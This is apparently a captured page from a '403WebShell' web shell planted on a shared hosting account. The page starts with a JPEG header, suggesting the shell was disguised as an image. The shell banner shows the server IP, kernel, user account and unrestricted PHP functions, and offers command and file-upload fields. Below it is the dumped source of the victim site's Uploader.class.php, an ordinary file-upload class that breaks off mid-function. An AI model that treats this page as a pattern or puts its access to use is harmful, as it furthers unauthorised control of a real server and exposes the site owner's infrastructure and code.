����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.148.202.74
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/services/Uploader.class.php
<?php

namespace App\Services;

use App\Core\Database;
use App\Helpers\AuthHelper;
use App\Helpers\CoreHelper;
use App\Helpers\FileFolderHelper;
use App\Helpers\FileHelper;
use App\Helpers\FileServerContainerHelper;
use App\Helpers\FileServerHelper;
use App\Helpers\LogHelper;
use App\Helpers\PluginHelper;
use App\Helpers\TranslateHelper;
use App\Helpers\UploaderHelper;
use App\Helpers\UserHelper;
use App\Models\File;

class Uploader
{
    public $options;
    public $nextFeedbackTracker;
    public $rowId;
    public $fileUpload = null;
    public $md5FileHash = null;

    function __construct($options = null) {
        // get accepted file types
        $acceptedFileTypes = UserHelper::getAcceptedFileTypes();

        // get blocked file types
        $blockedFileTypes = UserHelper::getBlockedFileTypes();

        // get blocked file keywords
        $blockedFileKeywords = UserHelper::getBlockedFilenameKeywords();

        if (isset($options['max_chunk_size'])) {
            $this->options['max_chunk_size'] = (int) $options['max_chunk_size'];
        }

        // get logged in user details
        $Auth = AuthHelper::getAuth();
        $userId = null;
        if ($Auth->loggedIn()) {
            $userId = $Auth->id;
        }

        // default options
        $this->options = array(
            'script_url' => $_SERVER['PHP_SELF'],
            'upload_dir' => FileServerHelper::getCurrentServerFileStoragePath(),
            'upload_url' => dirname($_SERVER['PHP_SELF']) . '/files/',
            'param_name' => 'files',
            'delete_hash' => '',
            'max_file_size' => $this->getMaxUploadSize(),
            'min_file_size' => 1,
            'accept_file_types' => COUNT($acceptedFileTypes) ? ('/(\.|\/)(' . str_replace(".", "", implode("|", $acceptedFileTypes)) . ')$/i') : '/.+$/i',
            'block_file_types' => COUNT($blockedFileTypes) ? ('/(\.|\/)(' . str_replace(".", "", implode("|", $blockedFileTypes)) . ')$/i') : '',
            'block_file_keywords' => $blockedFileKeywords,
            'max_number_of_files' => null,
            'discard_aborted_uploads' => true,
            'max_chunk_size' => 0,
            'folder_id' => 0,
            'user_id' => $userId,
            'uploaded_user_id' => $userId,
            'fail_zero_bytes' => true,
            'upload_source' => 'direct',
            'background_queue_id' => null,
        );

        if ($options) {
            $this->options = array_replace_recursive($this->options, $options);

            // make sure any the uploaded_user_id is copied, encase the above overrode it
            if ($this->options['uploaded_user_id'] === null && $this->options['user_id'] !== null) {
                $this->options['uploaded_user_id'] = $this->options['user_id'];
            }
        }
    }

    public function getMaxUploadSize() {
        // max allowed upload size
        return UserHelper::getMaxUploadFilesize();
    }

    public function getAvailableStorage() {
        // initialize current user
        $Auth = AuthHelper::getAuth();

        // available storage
        $availableStorage = UserHelper::getAvailableFileStorage($Auth->id);

        return $availableStorage;
    }

    public function getFileObject($fileName) {
        $filePath = $this->options['upload_dir'] . $fileName;
        if (is_file($filePath) && $fileName[0] !== '.') {
            $file = new \stdClass();
            $file->name = $fileName;
            $file->size = filesize($filePath);
            $file->url = $this->options['upload_url'] . rawurlencode($file->name);
            $file->delete_url = '~d?' . $this->options['delete_hash'];
            $file->info_url = '~i?' . $this->options['delete_hash'];
            $file->delete_type = 'DELETE';
            $file->delete_hash = $this->options['delete_hash'];
            $file->error = null;

            return $file;
        }

        return null;
    }

    public function hasError($uploadedFile, $file, $error = null) {
        // make sure uploading hasn't been disabled
        if (UploaderHelper::uploadingDisabled() == true) {
            return TranslateHelper::t('uploader_all_blocked', 'Uploading is currently disabled on the site, please try again later.');
        }

        if ($error) {
            return $error;
        }

        if (!preg_match($this->options['accept_file_types'], $file->name)) {
            return 'acceptFileTypes';
        }

        if ($this->options['block_file_types']) {
            if (preg_match($this->options['block_file_types'], $file->name)) {
                return TranslateHelper::t('uploader_blocked_filetype', 'File could not be uploaded due to that file type being banned by the site admin');
            }
        }

        // check for blocked strings within the filename
        if (COUNT($this->options['block_file_keywords'])) {
            foreach ($this->options['block_file_keywords'] AS $keyword) {
                if (stripos($file->name, $keyword) !== false) {
                    return TranslateHelper::t('uploader_blocked_file_keyword', 'File could not be uploaded as the filename was blocked');
                }
            }
        }

        // check for blocked file hashes
        if ($this->md5FileHash === null) {
            // logs
            LogHelper::info('Uploader.class.php::hasError - Getting md5 file hash...');

            $this->md5FileHash = $this->getFileMd5Hash($uploadedFile);

            // logs
            LogHelper::info('Uploader.class.php::hasError - Calculated md5 hash (' . $this->md5FileHash . ')');
        }
        $isBlocked = FileHelper::checkFileHashBlocked($this->md5FileHash, $file->size);
        if ($isBlocked) {
            return TranslateHelper::t('uploader_blocked_file_hash_content', 'File content has been blocked from being uploaded.');
        }

        if ($uploadedFile && file_exists($uploadedFile)) {
            $fileSize = filesize($uploadedFile);
        }
        else {
            $fileSize = $_SERVER['CONTENT_LENGTH'];
        }
        if ($this->options['max_file_size'] && ($fileSize > $this->options['max_file_size'] || $file->size > $this->options['max_file_size'])) {
            return 'maxFileSize';
        }
        if ($this->options['min_file_size'] && $fileSize < $this->options['min_file_size']) {
            return 'minFileSize';
        }
        if (is_int($this->options['max_number_of_files']) && (count($this->getFileObjects()) >= $this->options['max_number_of_files'])) {
            return 'maxNumberOfFiles';
        }

        return null;
    }

    public function getFileMd5Hash($filePath) {
        // files greater than 4GB can be slow under high IO. Use a random placeholder
        // for these. It'll fail the dedupe check, however there's no other way of
        // quickly creating the file hash unfortunately.
        if ((int) SITE_CONFIG_FILE_HASHING_MAX_FILESIZE_GB) {
            if (filesize($filePath) > (1024 * 1024 * 1024 * (int) SITE_CONFIG_FILE_HASHING_MAX_FILESIZE_GB)) {
                return substr((microtime(true) * 10000) . '-' . md5($filePath . microtime()), 0, 32);
            }
        }

        // get actual file hash if less than 4GB
        $hash = md5_file($filePath);

        // reconnect DB to avoid timeouts after calculations on large files
        Database::getDatabase(true, true);

        return $hash;
    }

    public function handleFileUpload($uploadedFile, $name, $size, $type, $error, $index = null, $contentRange = null, $chunkTracker = null) {
        $fileUpload = new \stdClass();
        $fileUpload->name = stripslashes($name);
        $fileUpload->size = intval($size);
        $fileUpload->type = $type;
        $fileUpload->error = null;

        // logs
        LogHelper::info('Uploader.class.php::handleFileUpload - Started...');

        // save file locally if chunked upload
        if ($contentRange) {
            $localTempStore = UploaderHelper::getLocalTempStorePath();
            $tmpFilename = md5($fileUpload->name);
            $tmpFilePath = $localTempStore . $tmpFilename;

            // if first chunk
            if ($contentRange[1] == 0) {
                // logs
                LogHelper::info('Uploader.class.php::handleFileUpload - Processing first chunk.');

                // ensure the tmp file does not already exist
                if (file_exists($tmpFilePath)) {
                    unlink($tmpFilePath);
                }

                // first clean up any old chunks
                $this->cleanLeftOverChunks();
            }

            // ensure we have the chunk
            if ($uploadedFile && file_exists($uploadedFile)) {
                // multipart/formdata uploads (POST method uploads)
                $fp = fopen($uploadedFile, 'r');
                file_put_contents($tmpFilePath, $fp, FILE_APPEND);
                fclose($fp);

                // check if this is not the last chunk
                if ($contentRange[3] != filesize($tmpFilePath)) {
                    // logs
                    LogHelper::info('Uploader.class.php::handleFileUpload - Saved chunk, awaiting further chunks...');

                    // exit
                    return $fileUpload;
                }

                // logs
                LogHelper::info('Uploader.class.php::handleFileUpload - Received all chunks, finishing upload.');

                // otherwise assume we have the whole file
                $uploadedFile = $tmpFilePath;
                $fileUpload->size = filesize($tmpFilePath);
            }
            else {
                // exit
                return $fileUpload;
            }
        }

        // logs
        LogHelper::info('Uploader.class.php::handleFileUpload - Running error checks...');

        $fileUpload->error = $this->hasError($uploadedFile, $fileUpload, $error);
        if (!$fileUpload->error) {
            if (strlen(trim($fileUpload->name)) == 0) {
                $fileUpload->error = TranslateHelper::t('classuploader_filename_not_found', 'Filename not found.');
            }
        }
        elseif ((intval($size) == 0) && ($this->options['fail_zero_bytes'] == true)) {
            $fileUpload->error = TranslateHelper::t('classuploader_file_received_has_zero_size', 'File received has zero size. This is likely an issue with the maximum permitted size within PHP');
        }
        elseif (intval($size) > $this->options['max_file_size']) {
            $fileUpload->error = TranslateHelper::t('classuploader_file_received_larger_than_permitted', 'File received is larger than permitted. (max [[[MAX_FILESIZE]]])', array('MAX_FILESIZE' => CoreHelper::formatSize($this->options['max_file_size'])));
        }

        // logs
        LogHelper::info('Uploader.class.php::handleFileUpload - Completed error checks, moving into storage.');

        if (!$fileUpload->error && $fileUpload->name) {
            $fileUpload = $this->moveIntoStorage($fileUpload, $uploadedFile);
        }

        // no error, add success html
        if ($fileUpload->error === null) {
            $fileUpload->url_html = '&lt;a href=&quot;' . $fileUpload->url . '&quot; target=&quot;_blank&quot; title=&quot;' . TranslateHelper::t('view_image_on', 'View image on') . ' ' . SITE_CONFIG_SITE_NAME . '&quot;&gt;' . TranslateHelper::t('view', 'View') . ' ' . $fileUpload->name . ' ' . TranslateHelper::t('on', 'on') . ' ' . SITE_CONFIG_SITE_NAME . '&lt;/a&gt;';
            $fileUpload->url_bbcode = '[url]' . $fileUpload->url . '[/url]';
            $fileUpload->success_result_html = UploaderHelper::generateSuccessHtml($fileUpload, $this->options['upload_source']);
        }
        else {
            $fileUpload->error_result_html = UploaderHelper::generateErrorHtml($fileUpload);
        }

        // logs
        LogHelper::info('Uploader.class.php::handleFileUpload - Finished.');

        return $fileUpload;
    }

    public function get() {
        $file_name = isset($_REQUEST['file']) ?
                basename(stripslashes($_REQUEST['file'])) : null;
        $info = array();
        if ($file_name) {
            $info = $this->getFileObject($file_name);
        }
        header('Content-type: application/json');

        return json_encode($info);
    }

    public function post() {
        $upload = isset($_FILES[$this->options['param_name']]) ?
                $_FILES[$this->options['param_name']] : array(
            'tmp_name' => null,
            'name' => null,
            'size' => null,
            'type' => null,
            'error' => null
        );

        // parse the Content-Disposition header, if available:
        $fileName = $this->getServerVar('HTTP_CONTENT_DISPOSITION') ?
                rawurldecode(preg_replace(
                                '/(^[^"]+")|("$)/', '', $this->getServerVar('HTTP_CONTENT_DISPOSITION')
                )) : null;

        // parse the Content-Range header, which has the following form:
        // Content-Range: bytes 0-524287/2000000
        $contentRange = $this->getServerVar('HTTP_CONTENT_RANGE') ?
                preg_split('/[^0-9]+/', $this->getServerVar('HTTP_CONTENT_RANGE')) : null;
        $size = $contentRange ? $contentRange[3] : null;

        $info = array();
        if (is_array($upload['tmp_name'])) {
            foreach ($upload['tmp_name'] as $index => $value) {
                $info[] = $this->handleFileUpload(
                        $upload['tmp_name'][$index], isset($_SERVER['HTTP_X_FILE_NAME']) ? $_SERVER['HTTP_X_FILE_NAME'] : $upload['name'][$index], isset($_SERVER['HTTP_X_FILE_SIZE']) ? $_SERVER['HTTP_X_FILE_SIZE'] : $upload['size'][$index], isset($_SERVER['HTTP_X_FILE_TYPE']) ? $_SERVER['HTTP_X_FILE_TYPE'] : $upload['type'][$index], $upload['error'][$index], $index, $contentRange, isset($_REQUEST['cTracker']) ? $_REQUEST['cTracker'] : null
                );
            }
        }
        else {
            $info[] = $this->handleFileUpload(
                    $upload['tmp_name'], isset($_SERVER['HTTP_X_FILE_NAME']) ? $_SERVER['HTTP_X_FILE_NAME'] : $upload['name'], isset($_SERVER['HTTP_X_FILE_SIZE']) ? $_SERVER['HTTP_X_FILE_SIZE'] : $upload['size'], isset($_SERVER['HTTP_X_FILE_TYPE']) ? $_SERVER['HTTP_X_FILE_TYPE'] : $upload['type'], $upload['error'], null, $contentRange, isset($_REQUEST['cTracker']) ? $_REQUEST['cTracker'] : null
            );
        }
        header('Vary: Accept');
        if (isset($_SERVER['HTTP_ACCEPT']) &&
                (strpos($_SERVER['HTTP_ACCEPT'], 'application/json') !== false)) {
            header('Content-type: application/json');
        }
        else {
            header('Content-type: text/plain');
        }

        return json_encode($info);
    }

    public function handleRemoteUrlUpload($url, $rowId = 0) {
        $this->rowId = $rowId;
        $this->nextFeedbackTracker = UploaderHelper::REMOTE_URL_UPLOAD_FEEDBACK_CHUNKS_BYTES;

        $this->fileUpload = new \stdClass();

        // filename
        $realFilename = trim(end(explode('/', $url)));

        // remove anything before a question mark
        $realFilename = trim(current(explode('?', $realFilename)));
        $realFilename = trim(current(explode(';', $realFilename)));
        if (strlen($realFilename) == 0) {
            $realFilename = 'file.txt';
        }
        // decode filename
        $realFilename = urldecode($realFilename);
        $this->fileUpload->name = $realFilename;

        $this->fileUpload->size = 0;
        $this->fileUpload->type = '';
        $this->fileUpload->error = null;
        $this->fileUpload->rowId = $rowId;
        $this->fileUpload->requestUrl = $url;

        $remoteFileDetails = $this->getRemoteFileDetails($url);
        $remoteFilesize = (int) $remoteFileDetails['bytes'];
        if ($remoteFilesize > $this->options['max_file_size']) {
            $this->fileUpload->error = TranslateHelper::t('classuploader_file_larger_than_permitted', 'File is larger than permitted. (max [[[MAX_FILESIZE]]])', array('MAX_FILESIZE' => CoreHelper::formatSize($this->options['max_file_size'])));
        }
        else {
            // look for real filename if passed in headers
            if (strlen($remoteFileDetails['real_filename'])) {
                $realFilename = trim(current(explode(';', $remoteFileDetails['real_filename'])));
                if (strlen($realFilename)) {
                    $this->fileUpload->name = $realFilename;
                }
            }

            // try to get the file locally
            $localFile = $this->downloadRemoteFile($url, true);

            // reconnect db if it's gone away
            $db = Database::getDatabase(true);
            $db->close();
            $db = Database::getDatabase(true);

            if ($localFile === false) {
                $this->fileUpload->error = TranslateHelper::t('classuploader_could_not_get_remote_file', 'Could not get remote file. [[[FILE_URL]]]', array('FILE_URL' => $url));
            }
            else {
                $size = (int) filesize($localFile);
                $this->fileUpload->error = $this->hasError($localFile, $this->fileUpload);
                if (!$this->fileUpload->error) {
                    if (strlen(trim($this->fileUpload->name)) == 0) {
                        $this->fileUpload->error = TranslateHelper::t('classuploader_filename_not_found', 'Filename not found.');
                    }
                }
                elseif (intval($size) == 0) {
                    $this->fileUpload->error = TranslateHelper::t('classuploader_file_has_zero_size', 'File received has zero size.');
                }
                elseif (intval($size) > $this->options['max_file_size']) {
                    $this->fileUpload->error = TranslateHelper::t('classuploader_file_received_larger_than_permitted', 'File received is larger than permitted. (max [[[MAX_FILESIZE]]])', array('MAX_FILESIZE' => CoreHelper::formatSize($this->options['max_file_size'])));
                }

                if (!$this->fileUpload->error && $this->fileUpload->name) {
                    // filesize
                    $this->fileUpload->size = filesize($localFile);

                    // get mime type
                    $mimeType = FileHelper::estimateMimeTypeFromExtension($this->fileUpload->name, 'application/octet-stream');
                    if (($mimeType == 'application/octet-stream') && (class_exists('finfo', false))) {
                        $finfo = new \finfo;
                        $mimeType = $finfo->file($localFile, FILEINFO_MIME);
                    }
                    $this->fileUpload->type = $mimeType;

                    // save into permanent storage
                    $this->fileUpload = $this->moveIntoStorage($this->fileUpload, $localFile);
                }
                else {
                    @unlink($localFile);
                }
            }
        }

        // no error, add success html
        if ($this->fileUpload->error === null) {
            $this->fileUpload->url_html = '&lt;a href=&quot;' . $this->fileUpload->url . '&quot; target=&quot;_blank&quot; title=&quot;' . TranslateHelper::t('view_image_on', 'View image on') . ' ' . SITE_CONFIG_SITE_NAME . '&quot;&gt;' . TranslateHelper::t('view', 'View') . ' ' . $this->fileUpload->name . ' ' . TranslateHelper::t('on', 'on') . ' ' . SITE_CONFIG_SITE_NAME . '&lt;/a&gt;';
            $this->fileUpload->url_bbcode = '[url]' . $this->fileUpload->url . '[/url]';
            $this->fileUpload->success_result_html = UploaderHelper::generateSuccessHtml($this->fileUpload, $this->options['upload_source']);
        }
        else {
            $this->fileUpload->error_result_html = UploaderHelper::generateErrorHtml($this->fileUpload);
        }

        $this->remote_url_event_callback(array("done" => $this->fileUpload));
    }

    public function getRemoteFileDetails($url) {
        $rs = array();
        $rs['bytes'] = 0;
        $rs['real_filename'] = null;
        if (function_exists('curl_init')) {
            // initialize curl with given url
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, true);
            curl_setopt($ch, CURLOPT_NOBODY, true);
            curl_setopt($ch, CURLOPT_REFERER, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
            curl_setopt($ch, CURLOPT_MAXREDIRS, 15);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
            curl_setopt($ch, CURLOPT_FAILONERROR, true);
            $execute = curl_exec($ch);

            // check if any error occured
            if (!curl_errno($ch)) {
                $rs['bytes'] = (int) curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);

                // this catches filenames between quotes
                if (preg_match('/.*filename=[\'\"]([^\'\"]+)/', $execute, $matches)) {
                    $rs['real_filename'] = $matches[1];
                }
                // if filename is not quoted, we take all until the next space
                elseif (preg_match("/.*filename=([^ ]+)/", $execute, $matches)) {
                    $rs['real_filename'] = $matches[1];
                }

                // make sure there are no quotes
                $rs['real_filename'] = str_replace('"', '', $rs['real_filename']);
            }

            curl_close($ch);
        }
        else {
            UploaderHelper::exitWithError(TranslateHelper::t('classuploader_curl_module_not_found', 'Curl module not found. Please enable within PHP to enable remote uploads.'));
        }

        return $rs;
    }

    public function downloadRemoteFile($url, $streamResponse = false) {
        // save locally
        $tmpDir = UploaderHelper::getLocalTempStorePath();
        $tmpName = md5($url . microtime());
        $tmpFullPath = $tmpDir . $tmpName;

        // extract username and password, if available
        $urlParts = UploaderHelper::getUrlParts($url);
        $urlUser = null;
        $urlPass = null;
        if ((isset($urlParts['user'])) && (strlen($urlParts['user']))) {
            $urlUser = $urlParts['user'];
        }
        if ((isset($urlParts['pass'])) && (strlen($urlParts['pass']))) {
            $urlPass = $urlParts['pass'];
        }

        // validation, only allow https or http
        if (!in_array(strtolower($urlParts['scheme']), array('http', 'https'))) {
            return false;
        }

        // use curl
        if (function_exists('curl_init')) {
            // get file via curl
            $fp = fopen($tmpFullPath, 'w+');

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_NOBODY, false);
            curl_setopt($ch, CURLOPT_REFERER, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
            curl_setopt($ch, CURLOPT_MAXREDIRS, 15);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 60 * 60 * 24); // 24 hours
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); // 15 seconds
            curl_setopt($ch, CURLOPT_HEADER, false);
            // allow for http auth
            if ($urlUser != null) {
                curl_setopt($ch, CURLOPT_USERPWD, $urlUser . ':' . $urlPass);
            }
            if ($streamResponse === true) {
                curl_setopt($ch, CURLOPT_NOPROGRESS, false);
                curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, array($this, 'remoteUrlCurlProgressCallback'));
            }
            //curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            if (curl_exec($ch) === false) {
                // log error
                LogHelper::error('Failed getting url. Error: ' . curl_error($ch) . ' (' . $url . ')');
                return false;
            }
            $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            fclose($fp);

            // remove if no a valid status code
            if (($status === 404) || ($status === 401)) {
                @unlink($tmpFullPath);
            }
        }
        // use file_get_contents
        else {
            if (function_exists('stream_context_create')) {
                $httpArr = array(
                    'timeout' => 15, // 15 seconds
                );

                if ($streamResponse === true) {
                    $httpArr['notification'] = array($this, 'remoteUrlCurlProgressCallback');
                }

                if ($urlUser != null) {
                    $httpArr['header'] = "Authorization: Basic " . base64_encode($urlUser . ':' . $urlPass);
                }

                $ctx = stream_context_create(array('http' =>
                    $httpArr
                ));
            }

            // get file content
            $fileData = @file_get_contents($url);
            @file_put_contents($tmpFullPath, $fileData);
        }

        // test to see if we saved the file
        if ((file_exists($tmpFullPath)) && (filesize($tmpFullPath) > 0)) {
            return $tmpFullPath;
        }

        // clear blank file
        if (file_exists($tmpFullPath)) {
            @unlink($tmpFullPath);
        }

        return false;
    }

    function remote_url_event_callback($message) {
        echo '<script>window.parent.postMessage({
            "func": "updateUrlProgress",
            "message": ' . json_encode($message) . '
        }, "*");</script>';
        ob_flush();
        flush();
    }

    function remote_url_stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
        if ($notification_code == STREAM_NOTIFY_PROGRESS) {
            if ($bytes_transferred) {
                if ($bytes_transferred > $this->nextFeedbackTracker) {
                    $this->remote_url_event_callback(array(
                        "progress" => array(
                            "loaded" => $bytes_transferred,
                            "total" => $bytes_max,
                            "rowId" => $this->rowId,
                        )
                    ));
                    $this->nextFeedbackTracker = $this->nextFeedbackTracker + UploaderHelper::REMOTE_URL_UPLOAD_FEEDBACK_CHUNKS_BYTES;
                }
            }
        }
    }

    function remoteUrlCurlProgressCallback($download_size, $downloaded_size, $upload_size, $uploaded_size, $other = null) {
        // allow for the new option added AT THE BEGINNING! in PHP v5.5
        if (is_resource($download_size)) {
            $download_size = $downloaded_size;
            $downloaded_size = $upload_size;
            $upload_size = $uploaded_size;
            $uploaded_size = $other;
        }

        // log in the database or on screen
        if ((int) $this->options['background_queue_id']) {
            $db = Database::getDatabase(true);
            $percent = (int) $download_size > 0 ? ceil(($downloaded_size / $download_size) * 100) : 0;
            $db->query('UPDATE remote_url_download_queue '
                    . 'SET downloaded_size=:downloaded_size, '
                    . 'total_size=:total_size, '
                    . 'download_percent=:download_percent '
                    . 'WHERE id=:id '
                    . 'LIMIT 1', array(
                'downloaded_size' => $downloaded_size,
                'total_size' => $download_size,
                'download_percent' => (int) $percent,
                'id' => (int) $this->options['background_queue_id'],
            ));

            // stop loads of loops
            $next = UploaderHelper::REMOTE_URL_UPLOAD_FEEDBACK_CHUNKS_BYTES;
            if ($download_size > 0) {
                $next = ceil($download_size / 100);
            }
            $this->nextFeedbackTracker = $this->nextFeedbackTracker + $next;
        }
        elseif ($downloaded_size > $this->nextFeedbackTracker) {
            $this->remote_url_event_callback(array(
                "progress" => array(
                    "loaded" => $downloaded_size,
                    "total" => $download_size,
                    "rowId" => $this->rowId,
                )
            ));

            // stop loads of loops
            $this->nextFeedbackTracker = $this->nextFeedbackTracker + UploaderHelper::REMOTE_URL_UPLOAD_FEEDBACK_CHUNKS_BYTES;
        }
    }

    public function moveIntoStorage($fileUpload, $tmpFile, $keepOriginal = false) {
        if ($fileUpload->name[0] === '.') {
            $fileUpload->name = substr($fileUpload->name, 1);
        }
        $fileUpload->name = trim($fileUpload->name);
        if (strlen($fileUpload->name) == 0) {
            $fileUpload->name = date('Ymdhi');
        }
        $parts = explode(".", $fileUpload->name);
        $lastPart = end($parts);
        $extension = strtolower($lastPart);

        // logs
        LogHelper::info('Uploader.class.php::moveIntoStorage - Received request to move into storage (' . $tmpFile . ')');

        // figure out upload type
        $file_size = 0;

        // store the actual file
        $rs = $this->_storeFile($fileUpload, $tmpFile, $keepOriginal);
        $file_size = $rs['file_size'];
        $file_path = $rs['file_path'];
        $uploadServerId = $rs['uploadServerId'];
        $fileUpload = $rs['fileUpload'];
        $newFilename = $rs['newFilename'];
        $fileHash = $rs['fileHash'];

        // reset the connection to the database so mysql doesn't time out
        $db = Database::getDatabase(true);
        $db->close();
        $db = Database::getDatabase(true);

        // check filesize uploaded matches tmp uploaded
        if (($file_size == $fileUpload->size) && (!$fileUpload->error)) {
            $fileUpload->url = $this->options['upload_url'] . rawurlencode($fileUpload->name);

            // insert into the db
            $fileUpload->size = $file_size;
            $fileUpload->delete_url = '~d?' . $this->options['delete_hash'];
            $fileUpload->info_url = '~i?' . $this->options['delete_hash'];
            $fileUpload->delete_type = 'DELETE';
            $fileUpload->delete_hash = $this->options['delete_hash'];

            // create delete hash, make sure it's unique
            $deleteHash = md5($fileUpload->name . CoreHelper::getUsersIPAddress() . microtime());

            // get database connection
            $db = Database::getDatabase(true);

            // setup folder id for file
            $folderId = null;
            if (((int) $this->options['folder_id'] > 0) && ((int) $this->options['user_id'] > 0)) {
                // make sure the current user owns the folder or has been shared it with upload rights
                $validFolder = $db->getRow('SELECT userId '
                        . 'FROM file_folder '
                        . 'WHERE id=' . (int) $this->options['folder_id'] . ' '
                        . 'AND (userId = ' . (int) $this->options['user_id'] . ' '
                        . 'OR id IN (SELECT folder_id FROM file_folder_share LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id WHERE folder_id = ' . (int) $this->options['folder_id'] . ' '
                        . 'AND (shared_with_user_id = ' . (int) $this->options['uploaded_user_id'] . ' OR (shared_with_user_id IS NULL AND is_global = 1)) '
                        . 'AND share_permission_level IN ("upload_download", "all"))) '
                        . 'LIMIT 1');
                if ($validFolder) {
                    $folderId = (int) $this->options['folder_id'];

                    // set user_id to the owner of the folder, this is needed so internal sharing works as expected
                    $this->options['user_id'] = (int) $validFolder['userId'];
                }
            }
            if ((int) $folderId == 0) {
                $folderId = null;
            }

            // make sure the original filename is unique in the selected folder
            $originalFilename = $fileUpload->name;
            if ((int) $this->options['user_id'] > 0) {
                $foundExistingFile = 1;
                $tracker = 2;
                while ($foundExistingFile >= 1) {
                    $foundExistingFile = (int) $db->getValue('SELECT COUNT(id) '
                                    . 'FROM file '
                                    . 'WHERE originalFilename = ' . $db->quote($originalFilename) . ' '
                                    . 'AND status = "active" '
                                    . 'AND userId = ' . (int) $this->options['user_id'] . ' '
                                    . 'AND folderId ' . ($folderId === NULL ? 'IS NULL' : ('= ' . $folderId)));
                    if ($foundExistingFile >= 1) {
                        $originalFilename = substr($fileUpload->name, 0, strlen($fileUpload->name) - strlen($extension) - 1) . ' (' . $tracker . ').' . $extension;
                        $tracker++;
                    }
                }
            }
            $fileUpload->name = FileHelper::makeFilenameSafe($originalFilename);
            if ($this->md5FileHash === null) {
                $this->md5FileHash = $this->getFileMd5Hash($tmpFile);
            }
            $fileUpload->hash = $this->md5FileHash;

            if (FileHelper::checkFileHashBlocked($fileUpload->hash, $fileUpload->size)) {
                $fileUpload->error = TranslateHelper::t('classuploader_file_is_banned', 'File is banned from being uploaded to this website.');
            }

            if (!$fileUpload->error) {
                // store in db
                $file = File::create();
                $file->originalFilename = $fileUpload->name;
                $file->shortUrl = 'temp';
                $file->fileType = $fileUpload->type;
                $file->extension = strtolower($extension);
                $file->fileSize = $fileUpload->size;
                $file->localFilePath = (substr($file_path, 0, strlen($this->options['upload_dir'])) == $this->options['upload_dir']) ? substr($file_path, strlen($this->options['upload_dir'])) : $file_path;

                // add user id if user is logged in
                $file->userId = $this->options['user_id'];
                $file->uploadedUserId = $this->options['uploaded_user_id'];
                $file->totalDownload = 0;
                $file->uploadedIP = CoreHelper::getUsersIPAddress();
                $file->uploadedDate = CoreHelper::sqlDateTime();
                $file->status = "active";
                $file->deleteHash = $deleteHash;
                $file->serverId = $uploadServerId;
                $file->fileHash = $fileHash;
                $file->adminNotes = '';
                $file->folderId = $folderId;
                $file->uploadSource = $this->options['upload_source'];
                $file->keywords = substr(implode(',', FileHelper::getKeywordArrFromString($originalFilename)), 0, 255);
                $file->unique_hash = FileHelper::createUniqueFileHashString();

                if (!$file->save()) {
                    $fileUpload->error = TranslateHelper::t('classuploader_failed_adding_to_database', 'Failed adding to database. [[[ERROR_MSG]]]', array(
                                'ERROR_MSG' => $file->errorMsg,
                    ));
                }
                else {
                    // create short url
                    $tracker = 1;
                    $shortUrl = FileHelper::createShortUrlPart($tracker . $file->id);
                    $fileTmp = File::loadOneByShortUrl($shortUrl);
                    while ($fileTmp) {
                        $shortUrl = FileHelper::createShortUrlPart($tracker . $file->id);
                        $fileTmp = File::loadOneByShortUrl($shortUrl);
                        $tracker++;
                    }

                    // update short url
                    $file->shortUrl = $shortUrl;
                    $file->save();

                    // update fileUpload with file location
                    $fileUpload->url = $file->getFullShortUrl();
                    $fileUpload->delete_url = $file->getDeleteUrl();
                    $fileUpload->info_url = $file->getInfoUrl();
                    $fileUpload->stats_url = $file->getStatisticsUrl();
                    $fileUpload->delete_hash = $file->deleteHash;
                    $fileUpload->short_url = $shortUrl;
                    $fileUpload->file_id = $file->id;
                    $fileUpload->unique_hash = $file->unique_hash;

                    // update total folder filesize
                    if ((int) $folderId > 0) {
                        FileFolderHelper::updateFolderFilesize((int) $folderId);
                    }

                    // call plugin hooks
                    PluginHelper::callHook('uploaderSuccess', array(
                        'file' => $file,
                        'tmpFile' => $tmpFile,
                    ));
                }
            }
        }
        else if ($this->options['discard_aborted_uploads']) {
            //@TODO - make ftp compatible
            @unlink($file_path);
            @unlink($tmpFile);
            if (!isset($fileUpload->error)) {
                $fileUpload->error = TranslateHelper::t('classuploader_general_upload_error', 'General upload error, please contact support. Expected size: [[[FILE_SIZE]]]. Received size: [[[FILE_UPLOAD_SIZE]]].', array('FILE_SIZE' => $file_size, 'FILE_UPLOAD_SIZE' => $fileUpload->size));
            }
        }

        return $fileUpload;
    }

    public function _storeFile($fileUpload, $tmpFile, $keepOriginal = false) {
        // create file hash
        if ($this->md5FileHash === null) {
            $this->md5FileHash = $this->getFileMd5Hash($tmpFile);
        }
        
        // setup new filename
        $newFilename = md5(microtime().$tmpFile.$this->md5FileHash);

        // logs
